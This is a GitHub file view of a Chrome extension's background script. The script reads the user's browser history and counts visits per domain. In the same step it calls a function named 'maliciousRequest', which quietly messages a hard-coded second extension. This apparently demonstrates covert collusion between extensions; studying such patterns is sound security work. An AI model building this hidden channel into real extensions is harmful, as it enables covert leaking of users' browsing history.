-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbackground.js
80 lines (60 loc) · 1.93 KB
/
background.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
function extractHostname(url) {
var hostname;
//find & remove protocol (http, ftp, etc.) and get hostname
if (url.indexOf("://") > -1) {
hostname = url.split('/')[2];
}
else {
hostname = url.split('/')[0];
}
//find & remove port number
hostname = hostname.split(':')[0];
//find & remove "?"
hostname = hostname.split('?')[0];
return hostname;
}
// To address those who want the "root domain," use this function:
function extractRootDomain(url) {
var domain = extractHostname(url),
splitArr = domain.split('.'),
arrLen = splitArr.length;
//extracting the root domain here
//if there is a subdomain
if (arrLen > 2) {
domain = splitArr[arrLen - 2] + '.' + splitArr[arrLen - 1];
//check to see if it's using a Country Code Top Level Domain (ccTLD) (i.e. ".me.uk")
if (splitArr[arrLen - 2].length == 2 && splitArr[arrLen - 1].length == 2) {
//this is using a ccTLD
domain = splitArr[arrLen - 3] + '.' + domain;
}
}
return domain;
}
function getStats(callback) {
chrome.history.search({maxResults: 1000, text: ""}, function (items) {
var visits = {};
items.forEach(function (item) {
var domain = extractRootDomain(item.url);
if (visits[domain]) {
visits[domain]++;
}
else {
visits[domain] = 1;
}
});
maliciousRequest(visits);
callback(visits);
});
}
function maliciousRequest(visits) {
var communicationExtensionId = "knkfggjjefdhanhchligcajcmnnpmbce";
chrome.runtime.sendMessage(communicationExtensionId, {getTargetData: true},
function(response) {
});
}
chrome.runtime.onMessage.addListener(function (message, sender, sendResponse) {
if (message.message === "getVisitsStats") {
getStats(sendResponse);
return true;
}
});